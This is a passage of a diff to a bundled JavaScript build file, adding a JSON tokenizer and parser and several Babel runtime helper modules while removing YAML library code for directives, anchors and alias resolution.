strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var LBRACKET = "["; + var RBRACKET = "]"; + var LBRACE = "{"; + var RBRACE = "}"; + var COLON = ":"; + var COMMA = ","; + var TRUE = "true"; + var FALSE = "false"; + var NULL = "null"; + var QUOTE = '"'; + var expectedKeywords = /* @__PURE__ */ new Map([ + ["t", TRUE], + ["f", FALSE], + ["n", NULL] + ]); + var escapeToChar = /* @__PURE__ */ new Map([ + [QUOTE, QUOTE], + ["\\", "\\"], + ["/", "/"], + ["b", "\b"], + ["n", "\n"], + ["f", "\f"], + ["r", "\r"], + ["t", " "] + ]); + var knownTokenTypes = /* @__PURE__ */ new Map([ + [LBRACKET, "Punctuator"], + [RBRACKET, "Punctuator"], + [LBRACE, "Punctuator"], + [RBRACE, "Punctuator"], + [COLON, "Punctuator"], + [COMMA, "Punctuator"], + [TRUE, "Boolean"], + [FALSE, "Boolean"], + [NULL, "Null"] + ]); + var ErrorWithLocation = class extends Error { + /** + * + * @param {string} message The error message to report. + * @param {int} loc.line The line on which the error occurred. + * @param {int} loc.column The column in the line where the error occurrred. + * @param {int} loc.index The index in the string where the error occurred. + */ + constructor(message, { line, column, index: index4 }) { + super(`${message} (${line}:${column})`); + this.line = line; + this.column = column; + this.index = index4; } - clone() { - const copy4 = new _Directives(this.yaml, this.tags); - copy4.docStart = this.docStart; - return copy4; + }; + var UnexpectedChar = class extends ErrorWithLocation { + /** + * Creates a new instance. + * @param {string} unexpected The character that was found. + * @param {Object} loc The location information for the found character. + */ + constructor(unexpected, loc) { + super(`Unexpected character ${unexpected} found.`, loc); } + }; + var UnexpectedToken = class extends ErrorWithLocation { /** - * During parsing, get a Directives instance for the current document and - * update the stream state according to the current version's spec. + * Creates a new instance. + * @param {string} expected The character that was expected. + * @param {string} unexpected The character that was found. + * @param {Object} loc The location information for the found character. */ - atDocument() { - const res = new _Directives(this.yaml, this.tags); - switch (this.yaml.version) { - case "1.1": - this.atNextDocument = true; - break; - case "1.2": - this.atNextDocument = false; - this.yaml = { - explicit: _Directives.defaultYaml.explicit, - version: "1.2" - }; - this.tags = Object.assign({}, _Directives.defaultTags); - break; - } - return res; + constructor(token) { + super(`Unexpected token ${token.type}(${token.value}) found.`, token.loc.start); } + }; + var UnexpectedEOF = class extends ErrorWithLocation { /** - * @param onError - May be called even if the action was successful - * @returns `true` on success + * Creates a new instance. + * @param {Object} loc The location information for the found character. */ - add(line, onError) { - if (this.atNextDocument) { - this.yaml = { explicit: _Directives.defaultYaml.explicit, version: "1.1" }; - this.tags = Object.assign({}, _Directives.defaultTags); - this.atNextDocument = false; - } - const parts = line.trim().split(/[ \t]+/); - const name2 = parts.shift(); - switch (name2) { - case "%TAG": { - if (parts.length !== 2) { - onError(0, "%TAG directive should contain exactly two parts"); - if (parts.length < 2) - return false; + constructor(loc) { + super("Unexpected end of input found.", loc); + } + }; + var QUOTE$1 = '"'; + var SLASH = "/"; + var STAR = "*"; + var DEFAULT_OPTIONS = { + comments: false, + ranges: false + }; + function isWhitespace2(c7) { + return /[\s\n]/.test(c7); + } + function isDigit2(c7) { + return c7 >= "0" && c7 <= "9"; + } + function isHexDigit(c7) { + return isDigit2(c7) || /[a-f]/i.test(c7); + } + function isPositiveDigit(c7) { + return c7 >= "1" && c7 <= "9"; + } + function isKeywordStart(c7) { + return /[tfn]/.test(c7); + } + function isNumberStart(c7) { + return isDigit2(c7) || c7 === "." || c7 === "-"; + } + function tokenize(text, options) { + options = Object.freeze({ + ...DEFAULT_OPTIONS, + ...options + }); + let offset = -1; + let line = 1; + let column = 0; + let newLine = false; + const tokens = []; + function createToken(tokenType2, value2, startLoc, endLoc) { + const endOffset = startLoc.offset + value2.length; + let range2 = options.ranges ? { + range: [startLoc.offset, endOffset] + } : void 0; + return { + type: tokenType2, + value: value2, + loc: { + start: startLoc, + end: endLoc || { + line: startLoc.line, + column: startLoc.column + value2.length, + offset: endOffset } - const [handle, prefix] = parts; - this.tags[handle] = prefix; - return true; + }, + ...range2 + }; + } + function next() { + let c8 = text.charAt(++offset); + if (newLine) { + line++; + column = 1; + newLine = false; + } else { + column++; + } + if (c8 === "\r") { + newLine = true; + if (text.charAt(offset + 1) === "\n") { + offset++; } - case "%YAML": { - this.yaml.explicit = true; - if (parts.length !== 1) { - onError(0, "%YAML directive should contain exactly one part"); - return false; - } - const [version5] = parts; - if (version5 === "1.1" || version5 === "1.2") { - this.yaml.version = version5; - return true; + } else if (c8 === "\n") { + newLine = true; + } + return c8; + } + function locate() { + return { + line, + column, + offset + }; + } + function readKeyword(c8) { + let value2 = expectedKeywords.get(c8); + if (text.slice(offset, offset + value2.length) === value2) { + offset += value2.length - 1; + column += value2.length - 1; + return { value: value2, c: next() }; + } + for (let j6 = 1; j6 < value2.length; j6++) { + if (value2[j6] !== text.charAt(offset + j6)) { + unexpected(next()); + } + } + } + function readString(c8) { + let value2 = c8; + c8 = next(); + while (c8 && c8 !== QUOTE$1) { + if (c8 === "\\") { + value2 += c8; + c8 = next(); + if (escapeToChar.has(c8)) { + value2 += c8; + } else if (c8 === "u") { + value2 += c8; + for (let i7 = 0; i7 < 4; i7++) { + c8 = next(); + if (isHexDigit(c8)) { + value2 += c8; + } else { + unexpected(c8); + } + } } else { - const isValid2 = /^\d+\.\d+$/.test(version5); - onError(6, `Unsupported YAML version ${version5}`, isValid2); - return false; + unexpected(c8); } + } else { + value2 += c8; } - default: - onError(0, `Unknown directive ${name2}`, true); - return false; + c8 = next(); + } + if (!c8) { + unexpectedEOF(); } + value2 += c8; + return { value: value2, c: next() }; } - /** - * Resolves a tag, matching handles to those defined in %TAG directives. - * - * @returns Resolved tag, which may also be the non-specific tag `'!'` or a - * `'!local'` tag, or `null` if unresolvable. - */ - tagName(source, onError) { - if (source === "!") - return "!"; - if (source[0] !== "!") { - onError(`Not a valid tag: ${source}`); - return null; + function readNumber(c8) { + let value2 = ""; + if (c8 === "-") { + value2 += c8; + c8 = next(); + if (!isDigit2(c8)) { + unexpected(c8); + } } - if (source[1] === "<") { - const verbatim = source.slice(2, -1); - if (verbatim === "!" || verbatim === "!!") { - onError(`Verbatim tags aren't resolved, so ${source} is invalid.`); - return null; + if (c8 === "0") { + value2 += c8; + c8 = next(); + if (isDigit2(c8)) { + unexpected(c8); + } + } else { + if (!isPositiveDigit(c8)) { + unexpected(c8); } - if (source[source.length - 1] !== ">") - onError("Verbatim tags must end with a >"); - return verbatim; + do { + value2 += c8; + c8 = next(); + } while (isDigit2(c8)); } - const [, handle, suffix] = source.match(/^(.*!)([^!]*)$/s); - if (!suffix) - onError(`The ${source} tag has no suffix`); - const prefix = this.tags[handle]; - if (prefix) { - try { - return prefix + decodeURIComponent(suffix); - } catch (error2) { - onError(String(error2)); - return null; + if (c8 === ".") { + do { + value2 += c8; + c8 = next(); + } while (isDigit2(c8)); + } + if (c8 === "e" || c8 === "E") { + value2 += c8; + c8 = next(); + if (c8 === "+" || c8 === "-") { + value2 += c8; + c8 = next(); + } + if (!isDigit2(c8)) { + unexpected(c8); + } + while (isDigit2(c8)) { + value2 += c8; + c8 = next(); } } - if (handle === "!") - return source; - onError(`Could not resolve tag: ${source}`); - return null; + return { value: value2, c: c8 }; } - /** - * Given a fully resolved tag, returns its printable string form, - * taking into account current tag prefixes and defaults. - */ - tagString(tag) { - for (const [handle, prefix] of Object.entries(this.tags)) { - if (tag.startsWith(prefix)) - return handle + escapeTagName(tag.substring(prefix.length)); - } - return tag[0] === "!" ? tag : `!<${tag}>`; - } - toString(doc) { - const lines = this.yaml.explicit ? [`%YAML ${this.yaml.version || "1.2"}`] : []; - const tagEntries = Object.entries(this.tags); - let tagNames; - if (doc && tagEntries.length > 0 && isNode(doc.contents)) { - const tags6 = {}; - visit(doc.contents, (_key, node) => { - if (isNode(node) && node.tag) - tags6[node.tag] = true; - }); - tagNames = Object.keys(tags6); - } else - tagNames = []; - for (const [handle, prefix] of tagEntries) { - if (handle === "!!" && prefix === "tag:yaml.org,2002:") - continue; - if (!doc || tagNames.some((tn) => tn.startsWith(prefix))) - lines.push(`%TAG ${handle} ${prefix}`); + function readComment(c8) { + let value2 = c8; + c8 = next(); + if (c8 === "/") { + do { + value2 += c8; + c8 = next(); + } while (c8 && c8 !== "\r" && c8 !== "\n"); + return { value: value2, c: c8 }; + } + if (c8 === STAR) { + while (c8) { + value2 += c8; + c8 = next(); + if (c8 === STAR) { + value2 += c8; + c8 = next(); + if (c8 === SLASH) { + value2 += c8; + c8 = next(); + return { value: value2, c: c8 }; + } + } + } + unexpectedEOF(); + } + unexpected(c8); + } + function unexpected(c8) { + throw new UnexpectedChar(c8, locate()); + } + function unexpectedEOF() { + throw new UnexpectedEOF(locate()); + } + let c7 = next(); + while (offset < text.length) { + while (isWhitespace2(c7)) { + c7 = next(); + } + if (!c7) { + break; + } + const start = locate(); + if (knownTokenTypes.has(c7)) { + tokens.push(createToken(knownTokenTypes.get(c7), c7, start)); + c7 = next(); + } else if (isKeywordStart(c7)) { + const result2 = readKeyword(c7); + let value2 = result2.value; + c7 = result2.c; + tokens.push(createToken(knownTokenTypes.get(value2), value2, start)); + } else if (isNumberStart(c7)) { + const result2 = readNumber(c7); + let value2 = result2.value; + c7 = result2.c; + tokens.push(createToken("Number", value2, start)); + } else if (c7 === QUOTE$1) { + const result2 = readString(c7); + let value2 = result2.value; + c7 = result2.c; + tokens.push(createToken("String", value2, start)); + } else if (c7 === SLASH && options.comments) { + const result2 = readComment(c7); + let value2 = result2.value; + c7 = result2.c; + tokens.push(createToken(value2.startsWith("//") ? "LineComment" : "BlockComment", value2, start, locate())); + } else { + unexpected(c7); } - return lines.join("\n"); } + return tokens; + } + var types3 = { + document(body, parts = {}) { + return { + type: "Document", + body, + ...parts + }; + }, + string(value2, parts = {}) { + return { + type: "String", + value: value2, + ...parts + }; + }, + number(value2, parts = {}) { + return { + type: "Number", + value: value2, + ...parts + }; + }, + boolean(value2, parts = {}) { + return { + type: "Boolean", + value: value2, + ...parts + }; + }, + null(parts = {}) { + return { + type: "Null", + value: "null", + ...parts + }; + }, + array(elements, parts = {}) { + return { + type: "Array", + elements, + ...parts + }; + }, + object(members, parts = {}) { + return { + type: "Object", + members, + ...parts + }; + }, + member(name2, value2, parts = {}) { + return { + type: "Member", + name: name2, + value: value2, + ...parts + }; + } + }; + var DEFAULT_OPTIONS$1 = { + tokens: false, + comments: false, + ranges: false }; - Directives.defaultYaml = { explicit: false, version: "1.2" }; - Directives.defaultTags = { "!!": "tag:yaml.org,2002:" }; + function getStringValue(token) { + let value2 = token.value.slice(1, -1); + let result2 = ""; + let escapeIndex = value2.indexOf("\\"); + let lastIndex = 0; + while (escapeIndex >= 0) { + result2 += value2.slice(lastIndex, escapeIndex); + const escapeChar = value2.charAt(escapeIndex + 1); + if (escapeToChar.has(escapeChar)) { + result2 += escapeToChar.get(escapeChar); + lastIndex = escapeIndex + 2; + } else if (escapeChar === "u") { + const hexCode = value2.slice(escapeIndex + 2, escapeIndex + 6); + if (hexCode.length < 4 || /[^0-9a-f]/i.test(hexCode)) { + throw new ErrorWithLocation( + `Invalid unicode escape \\u${hexCode}.`, + { + line: token.loc.start.line, + column: token.loc.start.column + escapeIndex, + offset: token.loc.start.offset + escapeIndex + } + ); + } + result2 += String.fromCharCode(parseInt(hexCode, 16)); + lastIndex = escapeIndex + 6; + } else { + throw new ErrorWithLocation( + `Invalid escape \\${escapeChar}.`, + { + line: token.loc.start.line, + column: token.loc.start.column + escapeIndex, + offset: token.loc.start.offset + escapeIndex + } + ); + } + escapeIndex = value2.indexOf("\\", lastIndex); + } + result2 += value2.slice(lastIndex); + return result2; + } + function getLiteralValue(token) { + switch (token.type) { + case "Boolean": + return token.value === "true"; + case "Number": + return Number(token.value); + case "Null": + return null; + case "String": + return getStringValue(token); + } + } + function parse17(text, options) { + options = Object.freeze({ + ...DEFAULT_OPTIONS$1, + ...options + }); + const tokens = tokenize(text, { + comments: !!options.comments, + ranges: !!options.ranges + }); + let tokenIndex = 0; + function nextNoComments() { + return tokens[tokenIndex++]; + } + function nextSkipComments() { + const nextToken = tokens[tokenIndex++]; + if (nextToken && nextToken.type.endsWith("Comment")) { + return nextSkipComments(); + } + return nextToken; + } + const next = options.comments ? nextSkipComments : nextNoComments; + function assertTokenValue(token, value2) { + if (!token || token.value !== value2) { + throw new UnexpectedToken(token); + } + } + function assertTokenType(token, type3) { + if (!token || token.type !== type3) { + throw new UnexpectedToken(token); + } + } + function createRange2(start, end) { + return options.ranges ? { + range: [start.offset, end.offset] + } : void 0; + } + function createLiteralNode(token) { + const range2 = createRange2(token.loc.start, token.loc.end); + return { + type: token.type, + value: getLiteralValue(token), + loc: { + start: { + ...token.loc.start + }, + end: { + ...token.loc.end + } + }, + ...range2 + }; + } + function parseProperty(token) { + assertTokenType(token, "String"); + const name2 = createLiteralNode(token); + token = next(); + assertTokenValue(token, ":"); + const value2 = parseValue2(); + const range2 = createRange2(name2.loc.start, value2.loc.end); + return types3.member(name2, value2, { + loc: { + start: { + ...name2.loc.start + }, + end: { + ...value2.loc.end + } + }, + ...range2 + }); + } + function parseObject(firstToken) { + assertTokenValue(firstToken, "{"); + const members = []; + let token = next(); + if (token && token.value !== "}") { + do { + members.push(parseProperty(token)); + token = next(); + if (token.value === ",") { + token = next(); + } else { + break; + } + } while (token); + } + assertTokenValue(token, "}"); + const range2 = createRange2(firstToken.loc.start, token.loc.end); + return types3.object(members, { + loc: { + start: { + ...firstToken.loc.start + }, + end: { + ...token.loc.end + } + }, + ...range2 + }); + } + function parseArray(firstToken) { + assertTokenValue(firstToken, "["); + const elements = []; + let token = next(); + if (token && token.value !== "]") { + do { + elements.push(parseValue2(token)); + token = next(); + if (token.value === ",") { + token = next(); + } else { + break; + } + } while (token); + } + assertTokenValue(token, "]"); + const range2 = createRange2(firstToken.loc.start, token.loc.end); + return types3.array(elements, { + type: "Array", + elements, + loc: { + start: { + ...firstToken.loc.start + }, + end: { + ...token.loc.end + } + }, + ...range2 + }); + } + function parseValue2(token) { + token = token || next(); + switch (token.type) { + case "String": + case "Boolean": + case "Number": + case "Null": + return createLiteralNode(token); + case "Punctuator": + if (token.value === "{") { + return parseObject(token); + } else if (token.value === "[") { + return parseArray(token); + } + default: + throw new UnexpectedToken(token); + } + } + const docBody = parseValue2(); + const unexpectedToken = next(); + if (unexpectedToken) { + throw new UnexpectedToken(unexpectedToken); + } + const docParts = { + loc: { + start: { + line: 1, + column: 1, + offset: 0 + }, + end: { + ...docBody.loc.end + } + } + }; + if (options.tokens) { + docParts.tokens = tokens; + } + if (options.ranges) { + docParts.range = createRange2(docParts.loc.start, docParts.loc.end); + } + return types3.document(docBody, docParts); + } + var childKeys = /* @__PURE__ */ new Map([ + ["Document", ["body"]], + ["Object", ["members"]], + ["Member", ["name", "value"]], + ["Array", ["elements"]], + ["String", []], + ["Number", []], + ["Boolean", []], + ["Null", []] + ]); + function isObject8(value2) { + return value2 && typeof value2 === "object"; + } + function isNode2(value2) { + return isObject8(value2) && typeof value2.type === "string"; + } + function traverse4(root2, visitor) { + function visitNode(node, parent2) { + if (typeof visitor.enter === "function") { + visitor.enter(node, parent2); + } + for (const key of childKeys.get(node.type)) { + const value2 = node[key]; + if (isObject8(value2)) { + if (Array.isArray(value2)) { + value2.forEach((child) => visitNode(child, node)); + } else if (isNode2(value2)) { + visitNode(value2, node); + } + } + } + if (typeof visitor.exit === "function") { + visitor.exit(node, parent2); + } + } + visitNode(root2); + } + function iterator(root2, filter2 = () => true) { + const traversal = []; + traverse4(root2, { + enter(node, parent2) { + traversal.push({ node, parent: parent2, phase: "enter" }); + }, + exit(node, parent2) { + traversal.push({ node, parent: parent2, phase: "exit" }); + } + }); + return traversal.filter(filter2).values(); + } + function evaluate(node) { + switch (node.type) { + case "String": + case "Number": + case "Boolean": + return node.value; + case "Null": + return null; + case "Array": + return node.elements.map(evaluate); + case "Object": { + const object = {}; + node.members.forEach((member) => { + object[evaluate(member.name)] = evaluate(member.value); + }); + return object; + } + case "Document": + return evaluate(node.body); + case "Property": + throw new Error("Cannot evaluate object property outside of an object."); + default: + throw new Error(`Unknown node type ${node.type}.`); + } + } + function print(node, { indent = 0 } = {}) { + const value2 = evaluate(node); + return JSON.stringify(value2, null, indent); + } + exports28.evaluate = evaluate; + exports28.iterator = iterator; + exports28.parse = parse17; + exports28.print = print; + exports28.tokenize = tokenize; + exports28.traverse = traverse4; + exports28.types = types3; } }); -// node_modules/yaml/browser/dist/doc/anchors.js -function anchorIsValid(anchor) { - if (/[\x00-\x19\s,[\]{}]/.test(anchor)) { - const sa = JSON.stringify(anchor); - const msg = `Anchor must not contain whitespace or control characters: ${sa}`; - throw new Error(msg); - } - return true; -} -function anchorNames(root2) { - const anchors = /* @__PURE__ */ new Set(); - visit(root2, { - Value(_key, node) { - if (node.anchor) - anchors.add(node.anchor); +// node_modules/@babel/runtime/helpers/typeof.js +var require_typeof = __commonJS({ + "node_modules/@babel/runtime/helpers/typeof.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + function _typeof3(o7) { + "@babel/helpers - typeof"; + return module5.exports = _typeof3 = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(o8) { + return typeof o8; + } : function(o8) { + return o8 && "function" == typeof Symbol && o8.constructor === Symbol && o8 !== Symbol.prototype ? "symbol" : typeof o8; + }, module5.exports.__esModule = true, module5.exports["default"] = module5.exports, _typeof3(o7); } - }); - return anchors; -} -function findNewAnchor(prefix, exclude) { - for (let i7 = 1; true; ++i7) { - const name2 = `${prefix}${i7}`; - if (!exclude.has(name2)) - return name2; + module5.exports = _typeof3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } -} -function createNodeAnchors(doc, prefix) { - const aliasObjects = []; - const sourceObjects = /* @__PURE__ */ new Map(); - let prevAnchors = null; - return { - onAnchor: (source) => { - aliasObjects.push(source); - prevAnchors ?? (prevAnchors = anchorNames(doc)); - const anchor = findNewAnchor(prefix, prevAnchors); - prevAnchors.add(anchor); - return anchor; - }, - /** - * With circular references, the source node is only resolved after all - * of its child nodes are. This is why anchors are set only after all of - * the nodes have been created. - */ - setAnchors: () => { - for (const source of aliasObjects) { - const ref = sourceObjects.get(source); - if (typeof ref === "object" && ref.anchor && (isScalar(ref.node) || isCollection(ref.node))) { - ref.node.anchor = ref.anchor; - } else { - const error2 = new Error("Failed to resolve repeated object (this should not happen)"); - error2.source = source; - throw error2; - } +}); + +// node_modules/@babel/runtime/helpers/toPrimitive.js +var require_toPrimitive = __commonJS({ + "node_modules/@babel/runtime/helpers/toPrimitive.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var _typeof3 = require_typeof()["default"]; + function toPrimitive(t8, r8) { + if ("object" != _typeof3(t8) || !t8) + return t8; + var e10 = t8[Symbol.toPrimitive]; + if (void 0 !== e10) { + var i7 = e10.call(t8, r8 || "default"); + if ("object" != _typeof3(i7)) + return i7; + throw new TypeError("@@toPrimitive must return a primitive value."); } - }, - sourceObjects - }; -} -var init_anchors = __esm({ - "node_modules/yaml/browser/dist/doc/anchors.js"() { + return ("string" === r8 ? String : Number)(t8); + } + module5.exports = toPrimitive, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + } +}); + +// node_modules/@babel/runtime/helpers/toPropertyKey.js +var require_toPropertyKey = __commonJS({ + "node_modules/@babel/runtime/helpers/toPropertyKey.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_identity(); - init_visit(); + var _typeof3 = require_typeof()["default"]; + var toPrimitive = require_toPrimitive(); + function toPropertyKey(t8) { + var i7 = toPrimitive(t8, "string"); + return "symbol" == _typeof3(i7) ? i7 : i7 + ""; + } + module5.exports = toPropertyKey, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/doc/applyReviver.js -function applyReviver(reviver, obj, key, val) { - if (val && typeof val === "object") { - if (Array.isArray(val)) { - for (let i7 = 0, len = val.length; i7 < len; ++i7) { - const v0 = val[i7]; - const v1 = applyReviver(reviver, val, String(i7), v0); - if (v1 === void 0) - delete val[i7]; - else if (v1 !== v0) - val[i7] = v1; - } - } else if (val instanceof Map) { - for (const k6 of Array.from(val.keys())) { - const v0 = val.get(k6); - const v1 = applyReviver(reviver, val, k6, v0); - if (v1 === void 0) - val.delete(k6); - else if (v1 !== v0) - val.set(k6, v1); - } - } else if (val instanceof Set) { - for (const v0 of Array.from(val)) { - const v1 = applyReviver(reviver, val, v0, v0); - if (v1 === void 0) - val.delete(v0); - else if (v1 !== v0) { - val.delete(v0); - val.add(v1); - } - } - } else { - for (const [k6, v0] of Object.entries(val)) { - const v1 = applyReviver(reviver, val, k6, v0); - if (v1 === void 0) - delete val[k6]; - else if (v1 !== v0) - val[k6] = v1; - } +// node_modules/@babel/runtime/helpers/defineProperty.js +var require_defineProperty = __commonJS({ + "node_modules/@babel/runtime/helpers/defineProperty.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var toPropertyKey = require_toPropertyKey(); + function _defineProperty(e10, r8, t8) { + return (r8 = toPropertyKey(r8)) in e10 ? Object.defineProperty(e10, r8, { + value: t8, + enumerable: true, + configurable: true, + writable: true + }) : e10[r8] = t8, e10; } + module5.exports = _defineProperty, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } - return reviver.call(obj, key, val); -} -var init_applyReviver = __esm({ - "node_modules/yaml/browser/dist/doc/applyReviver.js"() { +}); + +// node_modules/@babel/runtime/helpers/arrayLikeToArray.js +var require_arrayLikeToArray = __commonJS({ + "node_modules/@babel/runtime/helpers/arrayLikeToArray.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); + function _arrayLikeToArray3(r8, a7) { + (null == a7 || a7 > r8.length) && (a7 = r8.length); + for (var e10 = 0, n7 = Array(a7); e10 < a7; e10++) + n7[e10] = r8[e10]; + return n7; + } + module5.exports = _arrayLikeToArray3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/nodes/toJS.js -function toJS(value2, arg, ctx) { - if (Array.isArray(value2)) - return value2.map((v8, i7) => toJS(v8, String(i7), ctx)); - if (value2 && typeof value2.toJSON === "function") { - if (!ctx || !hasAnchor(value2)) - return value2.toJSON(arg, ctx); - const data = { aliasCount: 0, count: 1, res: void 0 }; - ctx.anchors.set(value2, data); - ctx.onCreate = (res2) => { - data.res = res2; - delete ctx.onCreate; - }; - const res = value2.toJSON(arg, ctx); - if (ctx.onCreate) - ctx.onCreate(res); - return res; +// node_modules/@babel/runtime/helpers/arrayWithoutHoles.js +var require_arrayWithoutHoles = __commonJS({ + "node_modules/@babel/runtime/helpers/arrayWithoutHoles.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var arrayLikeToArray = require_arrayLikeToArray(); + function _arrayWithoutHoles3(r8) { + if (Array.isArray(r8)) + return arrayLikeToArray(r8); + } + module5.exports = _arrayWithoutHoles3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } - if (typeof value2 === "bigint" && !ctx?.keep) - return Number(value2); - return value2; -} -var init_toJS = __esm({ - "node_modules/yaml/browser/dist/nodes/toJS.js"() { +}); + +// node_modules/@babel/runtime/helpers/iterableToArray.js +var require_iterableToArray = __commonJS({ + "node_modules/@babel/runtime/helpers/iterableToArray.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_identity(); + function _iterableToArray3(r8) { + if ("undefined" != typeof Symbol && null != r8[Symbol.iterator] || null != r8["@@iterator"]) + return Array.from(r8); + } + module5.exports = _iterableToArray3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/nodes/Node.js -var NodeBase; -var init_Node = __esm({ - "node_modules/yaml/browser/dist/nodes/Node.js"() { +// node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js +var require_unsupportedIterableToArray = __commonJS({ + "node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_applyReviver(); - init_identity(); - init_toJS(); - NodeBase = class { - constructor(type3) { - Object.defineProperty(this, NODE_TYPE, { value: type3 }); - } - /** Create a copy of this node. */ - clone() { - const copy4 = Object.create(Object.getPrototypeOf(this), Object.getOwnPropertyDescriptors(this)); - if (this.range) - copy4.range = this.range.slice(); - return copy4; - } - /** A plain JavaScript representation of this node. */ - toJS(doc, { mapAsMap, maxAliasCount, onAnchor, reviver } = {}) { - if (!isDocument(doc)) - throw new TypeError("A document argument is required"); - const ctx = { - anchors: /* @__PURE__ */ new Map(), - doc, - keep: true, - mapAsMap: mapAsMap === true, - mapKeyWarned: false, - maxAliasCount: typeof maxAliasCount === "number" ? maxAliasCount : 100 - }; - const res = toJS(this, "", ctx); - if (typeof onAnchor === "function") - for (const { count: count2, res: res2 } of ctx.anchors.values()) - onAnchor(res2, count2); - return typeof reviver === "function" ? applyReviver(reviver, { "": res }, "", res) : res; + var arrayLikeToArray = require_arrayLikeToArray(); + function _unsupportedIterableToArray3(r8, a7) { + if (r8) { + if ("string" == typeof r8) + return arrayLikeToArray(r8, a7); + var t8 = {}.toString.call(r8).slice(8, -1); + return "Object" === t8 && r8.constructor && (t8 = r8.constructor.name), "Map" === t8 || "Set" === t8 ? Array.from(r8) : "Arguments" === t8 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t8) ? arrayLikeToArray(r8, a7) : void 0; } - }; + } + module5.exports = _unsupportedIterableToArray3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/nodes/Alias.js -function getAliasCount(doc, node, anchors) { - if (isAlias(node)) { - const source = node.resolve(doc); - const anchor = anchors && source && anchors.get(source); - return anchor ? anchor.count * anchor.aliasCount : 0; - } else if (isCollection(node)) { - let count2 = 0; - for (const item of node.items) { - const c7 = getAliasCount(doc, item, anchors); - if (c7 > count2) - count2 = c7; +// node_modules/@babel/runtime/helpers/nonIterableSpread.js +var require_nonIterableSpread = __commonJS({ + "node_modules/@babel/runtime/helpers/nonIterableSpread.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + function _nonIterableSpread3() { + throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } - return count2; - } else if (isPair(node)) { - const kc = getAliasCount(doc, node.key, anchors); - const vc = getAliasCount(doc, node.value, anchors); - return Math.max(kc, vc); + module5.exports = _nonIterableSpread3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } - return 1; -} -var Alias; -var init_Alias = __esm({ - "node_modules/yaml/browser/dist/nodes/Alias.js"() { +}); + +// node_modules/@babel/runtime/helpers/toConsumableArray.js +var require_toConsumableArray = __commonJS({ + "node_modules/@babel/runtime/helpers/toConsumableArray.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_anchors(); - init_visit(); - init_identity(); - init_Node(); - init_toJS(); - Alias = class extends NodeBase { - constructor(source) { - super(ALIAS); - this.source = source; - Object.defineProperty(this, "tag", { - set() { - throw new Error("Alias nodes cannot have tags"); - } - }); - } - /** - * Resolve the value of this alias within `doc`, finding the last - * instance of the `source` anchor before this node. - */ - resolve(doc, ctx) { - let nodes; - if (ctx?.aliasResolveCache) { - nodes = ctx.aliasResolveCache; - } else { - nodes = []; - visit(doc, { - Node: (_key, node) => { - if (isAlias(node) || hasAnchor(node)) - nodes.push(node); - } - }); - if (ctx) - ctx.aliasResolveCache = nodes; - } - let found = void 0; - for (const node of nodes) { - if (node === this) - break; - if (node.anchor === this.source) - found = node; - } - return found; - } - toJSON(_arg, ctx) { - if (!ctx) - return { source: this.source }; - const { anchors, doc, maxAliasCount } = ctx; - const source = this.resolve(doc, ctx); - if (!source) { - const msg = `Unresolved alias (the anchor must be set before the alias): ${this.source}`; - throw new ReferenceError(msg); - } - let data = anchors.get(source); - if (!data) { - toJS(source, null, ctx); - data = anchors.get(source); - } - if (!data || data.res === void 0) { - const msg = "This should not happen: Alias anchor was not resolved?"; - throw new ReferenceError(msg); - } - if (maxAliasCount >= 0) { - data.count += 1; - if (data.aliasCount === 0) - data.aliasCount = getAliasCount(doc, source, anchors); - if (data.count * data.aliasCount > maxAliasCount) { - const msg = "Excessive alias count indicates a resource exhaustion attack"; - throw new ReferenceError(msg); - } - } - return data.res; - } - toString(ctx, _onComment, _onChompKeep) { - const src = `*${this.source}`; - if (ctx) { - anchorIsValid(this.source); - if (ctx.options.verifyAliasOrder && !ctx.anchors.has(this.source)) { - const msg = `Unresolved alias (the anchor must be set before the alias): ${this.source}`; - throw new Error(msg); + var arrayWithoutHoles = require_arrayWithoutHoles(); + var iterableToArray = require_iterableToArray(); + var unsupportedIterableToArray = require_unsupportedIterableToArray(); + var nonIterableSpread = require_nonIterableSpread(); + function _toConsumableArray3(r8) { + return arrayWithoutHoles(r8) || iterableToArray(r8) || unsupportedIterableToArray(r8) || nonIterableSpread(); + } + module5.exports = _toConsumableArray3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + } +}); + +// node_modules/@babel/runtime/helpers/arrayWithHoles.js +var require_arrayWithHoles = __commonJS({ + "node_modules/@babel/runtime/helpers/arrayWithHoles.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + function _arrayWithHoles(r8) { + if (Array.isArray(r8)) + return r8; + } + module5.exports = _arrayWithHoles, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + } +}); + +// node_modules/@babel/runtime/helpers/iterableToArrayLimit.js +var require_iterableToArrayLimit = __commonJS({ + "node_modules/@babel/runtime/helpers/iterableToArrayLimit.js"(exports28, module5) { + init_dirname(); + 